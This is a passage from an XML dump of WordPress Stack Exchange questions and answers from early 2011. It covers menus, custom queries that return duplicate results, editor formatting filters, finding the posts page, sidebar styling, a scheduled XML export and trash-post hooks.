) );&#xA;  ?&amp;gt;&#xA;                 &amp;lt;?php  /* restore settings for current blog */&#xA;  restore_current_blog(); ?&amp;gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Can it have anything to do with how the 'Categories' link was added to the menu? In the Super Admin &amp;gt; Appearance &amp;gt; Menus panel, I created a custom link, typed '#' in the URL field and 'Categories' for the label, then added to the menu. Next I added various Categories as children of the custom link.&lt;/p&gt;&#xA;" OwnerUserId="3010" LastActivityDate="2011-03-09T10:57:14.697" Title="Global navigation in multisite: problem with categories" Tags="&lt;categories&gt;&lt;multisite&gt;&lt;menus&gt;&lt;navigation&gt;&lt;urls&gt;" AnswerCount="2" />
  <row Id="10652" PostTypeId="1" AcceptedAnswerId="10655" CreationDate="2011-02-28T02:46:42.397" Score="0" ViewCount="148" Body="&lt;p&gt;I've created a custom query to pull all posts from a custom post type, ordered by comment count. It's your run-of-the-mills custom query:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php&#xA;&#xA; $querystr = &quot;&#xA;    SELECT wposts.* &#xA;    FROM $wpdb-&amp;gt;posts wposts, $wpdb-&amp;gt;postmeta wpostmeta&#xA;    WHERE wposts.ID = wpostmeta.post_id &#xA;    AND wposts.post_status = 'publish' &#xA;    AND wposts.post_type = 'Tutorials' &#xA;    ORDER BY wposts.comment_count DESC&#xA; &quot;;&#xA; $tutorialposts = $wpdb-&amp;gt;get_results($querystr, OBJECT);&#xA;&#xA; ?&amp;gt;&#xA;&#xA; &amp;lt;?php if ($tutorialposts): ?&amp;gt;&#xA; &amp;lt;?php global $post; ?&amp;gt;&#xA; &amp;lt;?php $i = 0; ?&amp;gt; &#xA; &amp;lt;?php foreach ($tutorialposts as $post): ?&amp;gt;&#xA; &amp;lt;?php $i++; ?&amp;gt;&#xA; &amp;lt;?php setup_postdata($post); ?&amp;gt;&#xA;&amp;lt;h2&amp;gt;&amp;lt;?php echo $i ?&amp;gt;:&amp;amp;nbsp;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Permanent Link to &amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt; &amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA; &amp;lt;?php endforeach; ?&amp;gt;&#xA; &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It has a little code added to it to number the posts. But I took this code out and the same problem persisted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It actually does what it's supposed to do! In fact, it's so excited about doing what it's supposed to do, that it does it twice. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/pEQLu.jpg&quot; alt=&quot;Screen shot of issue&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if anyone could tell me how to parse this code so it only shows the top 10 posts retrieved by the query that would be excellent. But I could probably figure that out on my own, that's just me being kind of lazy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really just need to know why it's pulling each post and displaying it twice o.0&lt;/p&gt;&#xA;" OwnerUserId="2479" LastActivityDate="2011-02-28T04:44:24.277" Title="Each post is showing twice in my custom query...?" Tags="&lt;query-posts&gt;&lt;query&gt;" AnswerCount="3" />
  <row Id="10653" PostTypeId="2" ParentId="10652" CreationDate="2011-02-28T03:16:16.413" Score="0" ViewCount="" Body="&lt;p&gt;I had to define some post meta field (custom field, taxonomy, or tag) and add it to the query select:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;AND wpostmeta.meta_key = 'Platform'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now it only shows each post once, but I am now locked in to defining a value to the custom field &quot;platform&quot; for every post under &quot;Tutorials.&quot; &lt;/p&gt;&#xA;" OwnerUserId="2479" LastActivityDate="2011-02-28T03:16:16.413" />
  <row Id="10654" PostTypeId="2" ParentId="10652" CreationDate="2011-02-28T03:17:36.333" Score="2" ViewCount="" Body="&lt;p&gt;Why are you joining with &lt;code&gt;postmeta&lt;/code&gt; if you don't use it neither in &lt;code&gt;WHERE&lt;/code&gt; nor get a field from it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your double result is because you're running a non-distinct query and since you're joining postmeta, MySQL delivers a separate record for each postmeta record, even though you're only retrieving the fields from &lt;code&gt;posts&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So either drop the &lt;code&gt;postmeta&lt;/code&gt; join or do &lt;code&gt;SELECT DISTINCT&lt;/code&gt;, the former would be better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And i agree with Chris_O...always better to use query vars if you can, as WP then makes sure you don't cause yourself this kind of trouble.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-28T03:17:36.333" />
  <row Id="10655" PostTypeId="2" ParentId="10652" CreationDate="2011-02-28T03:19:42.757" Score="2" ViewCount="" Body="&lt;p&gt;There is really no reason to use raw sql to query posts.  You can accomplish just about any type of query using the WordPress API.  For full reference see the codex, &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts&quot; rel=&quot;nofollow&quot;&gt;Function Reference query posts&lt;/a&gt;. Try the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $post;&#xA;&#xA;    $args=array(&#xA;    'post_type' =&amp;gt; 'tutorial',&#xA;    'orderby' =&amp;gt; 'comment_count',&#xA;    'posts_per_page' =&amp;gt; 10&#xA;    );&#xA;&#xA;   $posts= query_posts($args);&#xA;&#xA;foreach ($posts as $post) :&#xA;&#xA;//do stuff&#xA;&#xA;endofforeach;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-02-28T04:44:24.277" LastActivityDate="2011-02-28T04:44:24.277" CommentCount="6" />
  <row Id="10656" PostTypeId="1" CreationDate="2011-02-28T03:37:11.190" Score="-2" ViewCount="351" Body="&lt;p&gt;How do I stop the editor from stripping my &lt;code&gt;&amp;lt;p&amp;gt;&lt;/code&gt; tags and &quot;empty (&amp;amp; nbsp;)&quot; divs on pages?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since @scribu asked for a sample code here it is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Input:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;text&amp;lt;/p&amp;gt;&#xA;&amp;lt;div&amp;gt;&amp;amp;nbsp;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;text&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2313" LastEditorUserId="2313" LastEditorDisplayName="" LastEditDate="2011-02-28T13:38:30.790" LastActivityDate="2011-08-03T11:36:00.533" Title="Editor removes &lt;p&gt; tags" Tags="&lt;editor&gt;" AnswerCount="5" CommentCount="2" />
  <row Id="10657" PostTypeId="2" ParentId="10650" CreationDate="2011-02-28T03:38:03.350" Score="1" ViewCount="" Body="&lt;p&gt;I'm not sure about this, but the way the tables are setup, WordPress can re-use the same &lt;code&gt;terms&lt;/code&gt; record (with the same &lt;code&gt;term_id&lt;/code&gt;) within different taxonomies. That is, if you have a &lt;code&gt;post_tag&lt;/code&gt; called &lt;code&gt;favorites&lt;/code&gt; and you also have a &lt;code&gt;category&lt;/code&gt; called &lt;code&gt;favorites&lt;/code&gt;, it can well be that WP uses the same &lt;code&gt;terms&lt;/code&gt; record for both and only diversifies them via the &lt;code&gt;term_taxonomy_id&lt;/code&gt; table. There's obvious advantages to that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So...if your query above finds the term as part of the query and deletes it, then if it is also used as a category, it disappears, too, because the term record is gone and the relationship cannot be drawn anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As said, i haven't verified that WP is actually doing it that way, but it would explain your phenomenon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution would be to only delete term if its id only appears in &lt;code&gt;tt.term_id&lt;/code&gt; once. I'd recommend breaking up the query for that.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-28T03:38:03.350" CommentCount="0" />
  <row Id="10658" PostTypeId="1" CreationDate="2011-02-28T03:31:17.773" Score="0" ViewCount="157" Body="&lt;p&gt;I'm trying to use the dynamic menu of wordpress! So I try to create an dropdown based on category, my question is... I need to block the first (title/category name) for being access .... right now it will take a page with all post of that category, I only need to display the categories in the menu but users cannot click on it!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you guys know which function I should use in order to do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind Regards&lt;/p&gt;&#xA;" OwnerUserId="4907" LastActivityDate="2011-03-30T04:38:43.637" Title="creating  a dynamic menu in wordpress" Tags="&lt;menus&gt;&lt;multisite&gt;" AnswerCount="1" />
  <row Id="10659" PostTypeId="2" ParentId="10658" CreationDate="2011-02-28T04:21:40.880" Score="1" ViewCount="" Body="&lt;p&gt;Use a # for the URL in a Custom Links item and then the menu item will not link anywhere, but can be used for a top menu item. See &lt;a href=&quot;http://codex.wordpress.org/WordPress_Menu_User_Guide&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/WordPress_Menu_User_Guide&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-02-28T04:21:40.880" />
  <row Id="10660" PostTypeId="2" ParentId="10656" CreationDate="2011-02-28T04:23:15.417" Score="1" ViewCount="" Body="&lt;p&gt;1) Try a few different plugins that disable formatting and stop WP's built-in stripping of extra paragraphs and whitespace: &lt;a href=&quot;http://wordpress.org/extend/plugins/search.php?q=formatting&amp;amp;sort=&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/search.php?q=formatting&amp;amp;sort=&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) You can fool WP into adding a paragraph break by using &lt;code&gt;&amp;lt;b&amp;gt;&amp;amp;nbsp;&amp;lt;b/&amp;gt;&lt;/code&gt; in the html editor. It's a non-breaking space in &lt;code&gt;&amp;lt;b&amp;gt;&lt;/code&gt; tags. You won't be able to see it in the visual editor, so add it in the htnl editor. It's ugly, but it works without needing to fully disable formatting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) You can also do this in functions.php and then wrap the text you don't want formated with &lt;code&gt;&amp;lt;!-- noformat on --&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;!-- noformat off --&amp;gt;&lt;/code&gt; tags. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function newautop($text)&#xA;{&#xA;    $newtext = &quot;&quot;;&#xA;    $pos = 0;&#xA;&#xA;    $tags = array('&amp;lt;!-- noformat on --&amp;gt;', '&amp;lt;!-- noformat off --&amp;gt;');&#xA;    $status = 0;&#xA;&#xA;    while (!(($newpos = strpos($text, $tags[$status], $pos)) === FALSE))&#xA;    {&#xA;        $sub = substr($text, $pos, $newpos-$pos);&#xA;&#xA;        if ($status)&#xA;            $newtext .= $sub;&#xA;        else&#xA;            $newtext .= convert_chars(wptexturize(wpautop($sub)));      //Apply both functions (faster)&#xA;&#xA;        $pos = $newpos+strlen($tags[$status]);&#xA;&#xA;        $status = $status?0:1;&#xA;    }&#xA;&#xA;    $sub = substr($text, $pos, strlen($text)-$pos);&#xA;&#xA;    if ($status)&#xA;        $newtext .= $sub;&#xA;    else&#xA;        $newtext .= convert_chars(wptexturize(wpautop($sub)));      //Apply both functions (faster)&#xA;&#xA;    //To remove the tags&#xA;    $newtext = str_replace($tags[0], &quot;&quot;, $newtext);&#xA;    $newtext = str_replace($tags[1], &quot;&quot;, $newtext);&#xA;&#xA;    return $newtext;&#xA;}&#xA;&#xA;function newtexturize($text)&#xA;{&#xA;    return $text;   &#xA;}&#xA;&#xA;function new_convert_chars($text)&#xA;{&#xA;    return $text;   &#xA;}&#xA;&#xA;remove_filter('the_content', 'wpautop');&#xA;add_filter('the_content', 'newautop');&#xA;&#xA;remove_filter('the_content', 'wptexturize');&#xA;add_filter('the_content', 'newtexturize');&#xA;&#xA;remove_filter('the_content', 'convert_chars');&#xA;add_filter('the_content', 'new_convert_chars');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="268" LastEditorUserId="268" LastEditorDisplayName="" LastEditDate="2011-02-28T14:53:45.287" LastActivityDate="2011-02-28T14:53:45.287" />
  <row Id="10661" PostTypeId="1" AcceptedAnswerId="10663" CreationDate="2011-02-28T04:52:21.023" Score="1" ViewCount="92" Body="&lt;p&gt;What php code can be used to find the page object that hosts the blogs? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this may not be the same as the first page of the web site. In the admin section we can specify in which page to display the blog posts. The hard part from what I can see is how to get this info programatically. I can cycle through all the pages using get_pages() but the is_home() is only available within the context of the loop. I don't see a field on the page objects returned by get_pages() which indicates that it is a page with blog posts.&lt;/p&gt;&#xA;" OwnerUserId="2933" LastEditorUserId="2933" LastEditorDisplayName="" LastEditDate="2011-02-28T08:17:58.347" LastActivityDate="2011-02-28T08:17:58.347" Title="How to find the posts page (home page) programatically" Tags="&lt;template&gt;&lt;homepage&gt;" AnswerCount="1" />
  <row Id="10662" PostTypeId="2" ParentId="10624" CreationDate="2011-02-28T04:57:55.067" Score="0" ViewCount="" Body="&lt;p&gt;Checkout &lt;a href=&quot;http://buddypress.org/community/groups/buddypress-ajax-chat/&quot; rel=&quot;nofollow&quot;&gt;BuddyPress Ajax Chat&lt;/a&gt; along with WP &lt;a href=&quot;http://buddypress.org/community/groups/wp-fb-autoconnect/&quot; rel=&quot;nofollow&quot;&gt;FB Autoconnect&lt;/a&gt; to allow users to sign in / connect with Facebook.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-02-28T04:57:55.067" CommentCount="2" />
  <row Id="10663" PostTypeId="2" ParentId="10661" CreationDate="2011-02-28T05:00:18.863" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Alkaline:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you are looking for this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// $page is a post where post_type=='page'&#xA;if (get_option('show_on_front')=='page') {&#xA;  $page_id = get_option('page_for_posts');&#xA;  $page = get_post($page_id);&#xA;} else {&#xA;  $page = false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-02-28T08:12:13.897" LastActivityDate="2011-02-28T08:12:13.897" CommentCount="4" />
  <row Id="10664" PostTypeId="2" ParentId="10591" CreationDate="2011-02-28T05:41:20.807" Score="1" ViewCount="" Body="&lt;p&gt;Fount this:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As for an answer to your question,&#xA;  nested eaches don't work in jQuery if&#xA;  you use the this variable. To fix your&#xA;  problem, try using the full style of&#xA;  &lt;code&gt;each&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;in an answer &lt;a href=&quot;http://stackoverflow.com/questions/1005006/jquery-nested-each-problem&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-28T05:41:20.807" />
  <row Id="10665" PostTypeId="2" ParentId="7769" CreationDate="2011-02-28T06:06:31.823" Score="2" ViewCount="" Body="&lt;p&gt;Here's another solution to simply add your additional image sizes to the list of sizes that can be inserted into posts.  It worked great for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://kucrut.org/2011/02/insert-image-with-custom-size-into-post/&quot; rel=&quot;nofollow&quot;&gt;http://kucrut.org/2011/02/insert-image-with-custom-size-into-post/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3565" LastActivityDate="2011-02-28T06:06:31.823" CommentCount="1" />
  <row Id="10666" PostTypeId="2" ParentId="10656" CreationDate="2011-02-28T06:58:25.193" Score="0" ViewCount="" Body="&lt;p&gt;Add in your &lt;code&gt;functions.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter ('the_content', 'wpautop');&#xA;remove_filter ('the_excerpt', 'wpautop');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But you have to add no &lt;p&gt; and &lt;br/&gt; manually. This tags are not saved in the database.&lt;/p&gt;&#xA;" OwnerUserId="3550" LastActivityDate="2011-02-28T06:58:25.193" CommentCount="0" />
  <row Id="10667" PostTypeId="2" ParentId="4959" CreationDate="2011-02-28T07:57:33.623" Score="0" ViewCount="" Body="&lt;p&gt;I know this was asked a while ago, but you should check out ManageWP. It's still in beta, so it's got some quirks, and I think you can only manage up to 100 sites there, though you may be able to ask for permission to manage more. You can upgrade sites and plugins from this one dashboard, post to multiple sites, and more. They're adding new features all the time, like the ability to backup and clones sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was created by Vladimir Prelovac. &lt;a href=&quot;http://managewp.com/&quot; rel=&quot;nofollow&quot;&gt;http://managewp.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="792" LastActivityDate="2011-02-28T07:57:33.623" CommentCount="1" />
  <row Id="10668" PostTypeId="2" ParentId="5451" CreationDate="2011-02-28T08:15:57.653" Score="1" ViewCount="" Body="&lt;p&gt;How to &lt;strong&gt;remove&lt;/strong&gt; it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;function kill_l10n() {&#xA;    if ( !is_admin() )&#xA;        wp_deregister_script( 'l10n' );&#xA;}&#xA;add_action( 'wp_print_scripts', 'kill_l10n' );&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Drop in &lt;strong&gt;functions.php&lt;/strong&gt; or whatever (plugin, etc.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Works for me.&lt;/p&gt;&#xA;" LastActivityDate="2011-02-28T08:23:31.047" />
  <row Id="10669" PostTypeId="1" CreationDate="2011-02-28T08:21:10.153" Score="0" ViewCount="154" Body="&lt;p&gt;I'm using Oulipo theme on &lt;a href=&quot;http://www.pranesh.inteftrust.org/&quot; rel=&quot;nofollow&quot;&gt;this site&lt;/a&gt;, which has two sidebars.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;I'd like to ask how can I change the background color of only the left&#xA;  sidebar?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also, how to change the text, hyperlink, hover and background colors for &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Front menu located in left sidebar.&lt;/li&gt;&#xA;&lt;li&gt;Search field located at upper right corner.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot for your help and time. &lt;/p&gt;&#xA;" OwnerUserId="1677" LastActivityDate="2011-02-28T09:25:38.437" Title="How to edit background color of only one sidebar?" Tags="&lt;php&gt;&lt;css&gt;&lt;child-theme&gt;" AnswerCount="2" />
  <row Id="10670" PostTypeId="2" ParentId="10623" CreationDate="2011-02-28T08:28:35.387" Score="1" ViewCount="" Body="&lt;p&gt;The best solution here IMHO is to create a custom taxonomy named &quot;highlights&quot; or something similar. You can then create new terms for each landing page that you wish to create. The of of which would probably be &quot;Blue Widgets&quot;. You can then associate as many posts to the &quot;Blue Widget&quot; term as you wish. For the &quot;Blue Widgets&quot; term, you can add a custom description via the WordPress administration panels and allow it to appear in your theme by using the &lt;code&gt;term_description()&lt;/code&gt; template tag. I would suggest adding this to a custom template file that you create to display term archives of the &quot;highlights&quot; taxonomy. taxonomy-highlights.php should work. Please read &lt;a href=&quot;http://wordpress.stackexchange.com/questions/9867/what-template-is-used-for-a-custom-taxonomy-page/9879#9879&quot;&gt;this thread&lt;/a&gt; for ideas on creating the custom template file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use a very similar approach on my own site fir WordPress functions. &lt;a href=&quot;http://wordpress.mfields.org/wordpress-functions/setup_postdata/&quot; rel=&quot;nofollow&quot;&gt;Here's a link&lt;/a&gt; to a landing page that has a description of the &lt;code&gt;setup_postdata()&lt;/code&gt; function as well as all posts that use this function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best wishes,&#xA;-Mike&lt;/p&gt;&#xA;" OwnerUserId="1367" LastActivityDate="2011-02-28T08:28:35.387" />
  <row Id="10671" PostTypeId="2" ParentId="10669" CreationDate="2011-02-28T08:53:00.430" Score="1" ViewCount="" Body="&lt;p&gt;just add a background-color:#000000; to the #main_nav div in your css. change 000000 (black) to whatever hex color you want. Help w/ that here: &lt;a href=&quot;http://www.december.com/html/spec/color.html&quot; rel=&quot;nofollow&quot;&gt;http://www.december.com/html/spec/color.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2011-02-28T08:53:00.430" CommentCount="2" />
  <row Id="10672" PostTypeId="1" AcceptedAnswerId="10697" CreationDate="2011-02-28T09:09:22.450" Score="2" ViewCount="157" Body="&lt;p&gt;I need a way to automatically export all WordPress posts from a specific date and have it output the file on the server that can be downloaded daily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason the XML format is needed is because the site is part of a large network of blogs and the parent site does not use WordPress but indexes the content in its search results.  The parent company uses an XML parser that can't handle increments.  It needs the full content of posts all at one time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My approach is to create a cron job using &lt;code&gt;wp_schedule_event&lt;/code&gt; that fires &lt;a href=&quot;http://phpxref.ftwr.co.uk/wordpress/wp-admin/includes/export.php.source.txt&quot; rel=&quot;nofollow&quot;&gt;export_wp&lt;/a&gt; and outputs the buffers into a file.  The problem is that the file created is empty.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_activation_hook(__FILE__, 'c3m_my_activation');&#xA;add_action('c3m_export_daily', 'c3m_export_xml');&#xA;&#xA;function c3m_my_activation() {&#xA;    wp_schedule_event(time(), 'daily', 'c3m_export_daily');&#xA;}&#xA;&#xA;function c3m_export_xml() {&#xA;    $ob_file = fopen('server_path_to_my_file.xml','w');&#xA;&#xA;    $args=array(&#xA;        'content' =&amp;gt; 'posts',&#xA;        'start_date' =&amp;gt; 'october 2008',&#xA;        'status' =&amp;gt; 'published');&#xA;&#xA;        function ob_file_callback($buffer)&#xA;        {&#xA;          global $ob_file;&#xA;          fwrite($ob_file,$buffer);&#xA;        }&#xA;&#xA;    ob_start('ob_file_callback');&#xA;    export_wp($args);&#xA;&#xA;    ob_end_flush();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have also tried it without adding any $args to export_wp but the file is still empty.  I'm hoping this can be accomplished with export_wp so the whole thing doesn't have to be written from scratch.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-03-30T15:38:48.340" Title="Problem: Create a cron job to export posts to a WordPress XML file on server" Tags="&lt;export&gt;&lt;backup&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="10673" PostTypeId="2" ParentId="10669" CreationDate="2011-02-28T09:25:38.437" Score="0" ViewCount="" Body="&lt;p&gt;For your all questions, I guess only one plugin will be perfect for you,&#xA;Use firefox, and install &lt;a href=&quot;https://getfirebug.com/downloads/&quot; rel=&quot;nofollow&quot;&gt;firebug&lt;/a&gt; then with the help of its selection function, try to catch the areas like sidebar, widgets, posts-content etc by hovering mouse cursor and click on them, then just edit the CSS part or HTML part according to your choice. And when finally you are done with the CSS or HTML copy paste that into your themes respective css or php  file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the best practice for editing the CSS and HTML of a website &lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-02-28T09:25:38.437" />
  <row Id="10674" PostTypeId="1" CreationDate="2011-02-28T09:30:44.313" Score="0" ViewCount="308" Body="&lt;p&gt;After upgrading to 3.1 I am seeing this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use custom post types and when you click on the menu items either Games, Entertainment or Tech it gets the class current-menu-item but home link still has it also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the custom menu's built into WordPress and for the links and they are just custom links pointing to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Home: http://www.flesheatingzipper.com&lt;/li&gt;&#xA;&lt;li&gt;Games: http://www.flesheatingzipper.com/games/&lt;/li&gt;&#xA;&lt;li&gt;Entertainment: http://www.flesheatingzipper.com/entertainment/&lt;/li&gt;&#xA;&lt;li&gt;Tech: http://www.flesheatingzipper.com/tech/&lt;/li&gt;&#xA;&lt;li&gt;About: Links to page, about&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here is the site: &lt;a href=&quot;http://www.flesheatingzipper.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.flesheatingzipper.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2832" LastEditorUserId="2832" LastEditorDisplayName="" LastEditDate="2011-02-28T22:44:04.527" LastActivityDate="2011-03-09T22:40:17.237" Title="Home page is getting current-menu-item even if it's not home" Tags="&lt;custom-post-types&gt;&lt;custom-menus&gt;&lt;3.1&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="10675" PostTypeId="1" AcceptedAnswerId="10684" CreationDate="2011-02-28T09:44:27.483" Score="0" ViewCount="415" Body="&lt;p&gt;How are you every body &lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can remove name of theme in dashboard .. please ..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/OCQZW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are using K2 RC-8 theme with 10 widgets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can remove 'K2 RC-8 theme' ..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please&lt;/p&gt;&#xA;" OwnerUserId="2076" LastActivityDate="2011-02-28T12:00:12.910" Title="remove theme's name from dashboard .. How?" Tags="&lt;themes&gt;&lt;dashboard&gt;" AnswerCount="1" />
  <row Id="10676" PostTypeId="1" CreationDate="2011-02-28T09:58:29.460" Score="0" ViewCount="106" Body="&lt;p&gt;I want to turn this off as I have a custom ordering process using custom fields.&lt;/p&gt;&#xA;" OwnerUserId="970" LastActivityDate="2011-02-28T12:45:23.240" Title="Is there a way to disable the sticky posts feature?" Tags="&lt;posts&gt;" AnswerCount="1" />
  <row Id="10677" PostTypeId="1" CreationDate="2011-02-28T10:40:08.953" Score="2" ViewCount="295" Body="&lt;p&gt;how would I go about creating a filter for the &lt;code&gt;body_class()&lt;/code&gt; tag that allows me to add the the parent pages slug name as a class to the body whenever visiting a subpage or post?&lt;/p&gt;&#xA;" OwnerUserId="3567" LastActivityDate="2011-09-01T06:38:38.227" Title="Add parent template name to body class filter when visiting subpage or single post" Tags="&lt;slug&gt;&lt;filters&gt;&lt;functions&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="10678" PostTypeId="1" CreationDate="2011-02-28T10:46:06.817" Score="2" ViewCount="163" Body="&lt;p&gt;Hi is there an action which can be performed while a post is moved to trash .... I tried delete_post and deleted_post. It works but twice for each action ( before and after the action as written in codex ) and the output is shown only when the post is deleted from trash. Example i want to send an email to the author stating that his post has been moved to trash because of some reason, and update some user_meta. if i use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('deleted_post', 'emailUser');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('delete_post', 'emailUser');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it works only when the post is deleted from trash . . .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update :&lt;/strong&gt; got it to work for trash posts using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('trash_post', 'emailUser');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the problem for double execution of function is still there. . . &lt;/p&gt;&#xA;" OwnerUserId="3468" LastEditorUserId="3468" LastEditorDisplayName="" LastEditDate="2011-02-28T10:54:32.473" LastActivityDate="2011-08-28T18:36:11.990" Title="Function to execute when a post is moved to trash . " Tags="&lt;posts&gt;&lt;actions&gt;&lt;functions&gt;" AnswerCount="1" CommentCount="2" />
